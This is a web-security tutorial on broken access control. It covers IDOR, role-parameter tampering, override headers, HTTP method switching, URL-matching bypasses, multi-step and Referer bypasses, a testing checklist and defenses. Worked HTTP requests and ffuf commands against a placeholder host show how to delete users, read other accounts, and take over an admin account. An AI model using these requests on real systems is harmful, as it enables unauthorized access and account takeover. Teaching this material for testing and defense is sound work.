Broken access control
Access control decides who can do what on which resource. It sits on top of authentication (who are you?) and session management (how do I track you?). When access control is broken, a normal user can perform admin actions, read other users’ data, or delete resources they should never touch. OWASP ranks it #1 in the Top 10 (2021) because it is everywhere and the impact is always high.
Why access control breaks
Section titled “Why access control breaks”Unlike XSS or SQLi, access control cannot be enforced by a single library or filter. Every endpoint, every parameter, every HTTP method needs its own authorization check. Developers miss checks because:
- The framework does not enforce authorization by default (you must add it per route)
- The front-end hides UI elements (buttons, links) but the back-end still accepts the request
- Authorization logic is scattered across controllers instead of centralized
- Multi-step workflows check permissions on step 1 but not on step 3
The result: the back-end trusts that you will not call an endpoint you are not supposed to know about, or that you will not change a parameter you are not supposed to change.
Vertical vs horizontal
Section titled “Vertical vs horizontal”| Type | What happens | Impact |
|---|---|---|
| Vertical (privilege escalation) | Normal user performs admin functions | Full admin takeover |
| Horizontal | User A accesses User B’s data (same role) | Data theft, account manipulation |
| Horizontal to vertical | Horizontal access on admin account leads to full escalation | Account takeover + admin access |
IDOR (Insecure Direct Object Reference) is the most common technique that causes horizontal escalation, but it is not the only one. Session fixation, parameter pollution, and race conditions can also cross user boundaries. And IDOR itself can cause vertical escalation too (change the ID to the admin’s and you escalate vertically, not horizontally). The distinction: horizontal/vertical is the direction, IDOR is one of the mechanisms.
How to find access control issues
Section titled “How to find access control issues”Step 1 - Map roles and endpoints
Section titled “Step 1 - Map roles and endpoints”Before testing, understand the application’s role model. If the target has a free tier, create at least two accounts:
| Account | Purpose |
|---|---|
| Admin (if available) | Discover all admin endpoints and parameters |
| User A | Your “attacker” session |
| User B | Your “victim” (to test horizontal access) |
Browse the application as admin. Record every URL, every POST action, every API endpoint. Then switch to your low-privilege session and replay those requests.
Step 2 - Discover hidden admin endpoints
Section titled “Step 2 - Discover hidden admin endpoints”Admin panels are often reachable even without a link in the UI.
Directory brute-force with ffuf:
ffuf -u https://target.example/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -fc 404Common paths to check manually:
/admin/admin-panel/administrator/management/console/dashboard/_admin/admin.php/wp-adminCheck robots.txt: disallowed paths often point to admin areas.
GET /robots.txt HTTP/1.1Host: target.exampleDisallow: /admin-panel-8923hs/Disallow: /internal-api/Check JavaScript source: admin URLs are often hardcoded in client-side code, visible to everyone regardless of their role.
var isAdmin = false;if (isAdmin) { var link = document.createElement('a'); link.setAttribute('href', '/admin-panel-8923hs');}The URL is in the source code of every page, even though the link element is only created for
admins. Browse to /admin-panel-8923hs directly.
Step 3 - Test with Burp
Section titled “Step 3 - Test with Burp”Use two browser profiles (or two browsers) with different sessions. Burp workflow:
- Log in as admin in one browser, capture requests in Burp
- Log in as normal user in the other browser
- In Burp Repeater, take an admin request and replace the session cookie with the normal user’s cookie
- Send the request. If the action succeeds (200, or the state changes), access control is broken
Vertical privilege escalation
Section titled “Vertical privilege escalation”Unprotected admin functionality
Section titled “Unprotected admin functionality”The admin endpoint exists and responds to any authenticated (or even unauthenticated) user:
GET /admin/deleteUser?userId=carlos HTTP/1.1Host: target.exampleCookie: session=normaluser-session-tokenHTTP/1.1 200 OK
User carlos has been deleted.No role check. The application trusts that you will not know the URL.
Parameter-based role control
Section titled “Parameter-based role control”The application stores the user’s role in a controllable parameter:
HTTP/1.1 302 FoundSet-Cookie: Admin=false; Path=/Change it:
GET /admin HTTP/1.1Host: target.exampleCookie: session=normaluser-session-token; Admin=trueHTTP/1.1 200 OK
<h1>Admin Panel</h1><a href="/admin/deleteUser">Delete user</a>The same pattern appears in query parameters, POST bodies, and JSON fields:
POST /api/update-role HTTP/1.1Host: target.exampleContent-Type: application/jsonCookie: session=normaluser-session-token
{"username": "attacker", "role": "admin"}GET /home?admin=true HTTP/1.1Host: target.exampleCookie: session=normaluser-session-tokenURL override via headers
Section titled “URL override via headers”The front-end reverse proxy blocks access to /admin for non-admin users. But the back-end
framework supports path override headers:
POST /?username=carlos HTTP/1.1Host: target.exampleCookie: session=normaluser-session-tokenX-Original-URL: /admin/deleteUserThe proxy sees a request to / (allowed). The back-end processes /admin/deleteUser with the
query parameter username=carlos. The user is deleted.
Other override headers to test:
| Header | Framework |
|---|---|
X-Original-URL |
IIS/ASP.NET with URL Rewrite |
X-Rewrite-URL |
IIS/ASP.NET |
X-Forwarded-Prefix |
Spring Boot |
HTTP method override
Section titled “HTTP method override”Access control is enforced on POST to /admin/deleteUser but not on other methods:
POST /admin/deleteUser HTTP/1.1Host: target.exampleCookie: session=normaluser-session-token
username=carlosHTTP/1.1 403 ForbiddenSwitch to GET:
GET /admin/deleteUser?username=carlos HTTP/1.1Host: target.exampleCookie: session=normaluser-session-tokenHTTP/1.1 302 FoundLocation: /adminIf GET does not work, try method override parameters. Many frameworks accept these to support clients that cannot send PUT/DELETE:
POST /admin/deleteUser HTTP/1.1Host: target.exampleCookie: session=normaluser-session-tokenContent-Type: application/x-www-form-urlencoded
username=carlos&_method=GETOther override mechanisms: X-HTTP-Method-Override: GET header, X-Method-Override, _method
in the query string.
URL matching discrepancies
Section titled “URL matching discrepancies”The access control rule blocks /admin/deleteUser exactly. The server’s routing layer accepts
variations that the access control check does not normalize:
GET /admin/deleteUser/ HTTP/1.1Host: target.exampleCookie: session=normaluser-session-token| Variation | Why it bypasses |
|---|---|
/ADMIN/DELETEUSER |
Access control is case-sensitive, routing is not |
/admin/deleteUser/ |
Trailing slash not stripped before the check |
/admin/deleteUser.json |
Extension appended, routing still matches the handler |
/admin/./deleteUser |
Dot segment not normalized before the check |
/admin/deleteUser%00 |
Null byte truncation (older systems) |
Test all variations. If one returns 200 instead of 403, the access control is bypassed.
Horizontal privilege escalation
Section titled “Horizontal privilege escalation”Horizontal escalation means accessing another user’s resources at the same privilege level. The most common mechanism is IDOR, but not the only one (session fixation, race conditions, and parameter pollution can also cross user boundaries).
IDOR (Insecure Direct Object Reference)
Section titled “IDOR (Insecure Direct Object Reference)”The application uses a user-supplied identifier to fetch a resource, and does not verify the requester owns it. This is the technique you will encounter most often.
Finding IDOR parameters
Section titled “Finding IDOR parameters”Walk every request in Burp and look for parameters that reference a resource:
| Location | Examples |
|---|---|
| Query string | ?userId=123, ?orderId=456, ?file=report_123.pdf |
| URL path | /api/users/123/profile, /invoices/789 |
| POST body | {"accountId": "123"} |
| Cookie | userId=123 (rare, high impact) |
Exploiting IDOR: read another user’s data
Section titled “Exploiting IDOR: read another user’s data”GET /api/users/123/profile HTTP/1.1Host: target.exampleCookie: session=userA-session-token{ "id": 123, "username": "userA", "email": "usera@example.com", "apiKey": "ak_live_abc123"}Change the ID:
GET /api/users/456/profile HTTP/1.1Host: target.exampleCookie: session=userA-session-token{ "id": 456, "username": "userB", "email": "userb@example.com", "apiKey": "ak_live_xyz789"}No 403, no redirect. The server returned the data because it did not check ownership.
Exploiting IDOR: modify another user’s data
Section titled “Exploiting IDOR: modify another user’s data”Do not stop at reading. Test write operations on the same parameter:
PUT /api/users/456/profile HTTP/1.1Host: target.exampleCookie: session=userA-session-tokenContent-Type: application/json
{"email": "attacker@attacker.example"}HTTP/1.1 200 OK
{"message": "Profile updated successfully"}Now trigger a password reset for userB. The reset email goes to attacker@attacker.example.
Account takeover from a single IDOR.
DELETE /api/orders/789 HTTP/1.1Host: target.exampleCookie: session=userA-session-tokenFinding IDs when they are not sequential
Section titled “Finding IDs when they are not sequential”GUIDs and UUIDs look unpredictable, but they leak in many places:
| Leak source | Example |
|---|---|
| Other API responses | User listing, search results, comments, reviews |
| HTML source | Data attributes, hidden fields, inline JSON |
| URL in messages | “View your order: /orders/a1b2c3d4-...” |
| Referer header | Previous page URL logged or reflected |
| WebSocket messages | Real-time feeds with other users’ IDs |
Use Burp’s search function across the entire site map: search for a known ID and see where other users’ IDs appear.
Enumerating IDOR with Burp Intruder
Section titled “Enumerating IDOR with Burp Intruder”When IDs are sequential integers, use Intruder to sweep a range:
- Send the request to Intruder
- Mark the ID parameter as the injection point:
GET /api/users/$$123$$/profile - Payload type: Numbers, from 1 to 1000, step 1
- Start the attack
- Sort by response length or status code to find valid IDs
ffuf -u https://target.example/api/users/FUZZ/profile -w <(seq 1 1000) \ -H "Cookie: session=userA-session-token" -mc 200 -fs 0Horizontal to vertical escalation
Section titled “Horizontal to vertical escalation”This is the most common real-world chain. It turns a “low” finding into full admin compromise:
Step 1 - Find an IDOR that leaks user profiles:
GET /api/users/1/profile HTTP/1.1Host: target.exampleCookie: session=attacker-session-token{ "id": 1, "username": "administrator", "email": "admin@target.example", "role": "admin"}Step 2 - Check if the IDOR allows modification:
PUT /api/users/1/profile HTTP/1.1Host: target.exampleCookie: session=attacker-session-tokenContent-Type: application/json
{"password": "attacker-controlled-password"}If the password change works, log in as admin:
POST /login HTTP/1.1Host: target.exampleContent-Type: application/x-www-form-urlencoded
username=administrator&password=attacker-controlled-passwordAlternative chain: the IDOR leaks a password reset token or API key. Use it directly without needing to change the password.
Multi-step process bypass
Section titled “Multi-step process bypass”Admin functions that span multiple requests (form, confirmation page, execution) often enforce access control only on the first step.
Normal admin flow:
Step 1: GET /admin/deleteUser → Load the form (admin check here)Step 2: POST /admin/deleteUser/confirm → Show confirmation pageStep 3: POST /admin/deleteUser/execute → Actually delete the userThe bypass: skip to step 3 directly.
POST /admin/deleteUser/execute HTTP/1.1Host: target.exampleCookie: session=normaluser-session-tokenContent-Type: application/x-www-form-urlencoded
userId=carlos&confirmed=trueHTTP/1.1 302 FoundLocation: /admin/usersThe application checked authorization on step 1 (the form page) but not on step 3 (the actual execution). Testing each step independently is critical.
Referer-based access control
Section titled “Referer-based access control”Some applications check the Referer header to decide if the request is authorized:
GET /admin/deleteUser?userId=carlos HTTP/1.1Host: target.exampleCookie: session=normaluser-session-tokenReferer: https://target.example/adminThe application sees that the request “came from” the admin page and allows it. The Referer
header is fully controlled by the client, making this check useless.
To test: take a blocked admin request, add or change the Referer to the admin panel URL, and
resend.
Testing methodology
Section titled “Testing methodology”Phase 1 - Reconnaissance
Section titled “Phase 1 - Reconnaissance”| Action | Tool | What you find |
|---|---|---|
| Brute-force directories | ffuf, gobuster, Burp Discover Content | Hidden admin endpoints |
Read robots.txt, sitemap.xml |
Browser, curl | Disallowed paths (often admin areas) |
| Search JavaScript source | Burp (search in site map), browser DevTools | Hardcoded admin URLs, API endpoints, role checks |
| Read HTML comments | Burp → Engagement tools → Find Comments | Developer notes with internal URLs |
Phase 2 - Vertical escalation
Section titled “Phase 2 - Vertical escalation”For every admin endpoint you found:
| Test | How | What to send |
|---|---|---|
| Direct access | Replace cookie with low-priv session | Same URL, different cookie |
| Parameter tampering | Change role in cookie/param/JSON | admin=true, role=admin, roleid=1 |
| URL override | Add X-Original-URL / X-Rewrite-URL |
X-Original-URL: /admin/target-endpoint |
| Method switch | Change POST to GET (or vice versa) | Same params, different method |
| Method override param | Add _method=GET to POST body |
_method=GET or X-HTTP-Method-Override header |
| URL variations | Try case, trailing slash, extension | /ADMIN/, /admin/endpoint/, /admin/endpoint.json |
| Referer spoof | Set Referer: https://target.example/admin |
Add header to any blocked request |
Phase 3 - Horizontal escalation (IDOR)
Section titled “Phase 3 - Horizontal escalation (IDOR)”For every request that references a resource by ID:
| Test | How |
|---|---|
| Read another user’s resource | Change the ID, keep your cookie |
| Modify another user’s resource | Same request with PUT/POST/PATCH, different ID |
| Delete another user’s resource | Same endpoint with DELETE, different ID |
| Enumerate valid IDs | Burp Intruder: sweep sequential range or known IDs |
| Find leaked IDs | Search entire site map for GUID patterns |
Phase 4 - Escalation chains
Section titled “Phase 4 - Escalation chains”| Starting point | Chain to | How |
|---|---|---|
| IDOR on user profile | Account takeover | Leak email/apiKey, change password or email |
| IDOR on admin user | Full admin access | Change admin password, steal admin API key |
| Vertical access to admin panel | Mass data extraction | Use admin endpoints to dump all users |
| Multi-step bypass on admin action | Targeted action | Delete users, change roles, modify config |
Defense
Section titled “Defense”| Measure | Implementation |
|---|---|
| Deny by default | Every endpoint requires explicit authorization. No route is “open unless blocked.” |
| Centralize authorization | One middleware/module checks permissions. Never scatter if (user.role == 'admin') across handlers. |
| Enforce server-side | Never rely on hidden URLs, client-side role checks, or Referer headers |
| Use indirect references | Map user-facing IDs to internal IDs per session. User sends ref=1, server maps to the actual resource based on the session. |
| Check ownership on every request | SELECT * FROM orders WHERE id=? AND user_id=? (bind both parameters) |
| Validate on every step | Multi-step workflows must check authorization on each request, not only the entry point |
| Log access control failures | Alert on repeated 403s from one session (brute-force indicator) |
| Rate-limit resource enumeration | Slow down sequential ID sweeps |
References
Section titled “References”- PortSwigger Web Security Academy - Access control
- PortSwigger Lab: Unprotected admin functionality
- PortSwigger Lab: User role controlled by request parameter
- PortSwigger Lab: URL-based access control can be circumvented
- PortSwigger Lab: Method-based access control can be circumvented
- PortSwigger Lab: User ID controlled by request parameter with password disclosure
- PortSwigger Lab: Multi-step process with no access control on one step
- PortSwigger Lab: Referer-based access control
- OWASP Top 10 2021 - A01 Broken Access Control
- OWASP Testing Guide - Authorization Testing
- OWASP IDOR Prevention Cheat Sheet
- HackTricks - IDOR
1,825 words, about 9 min read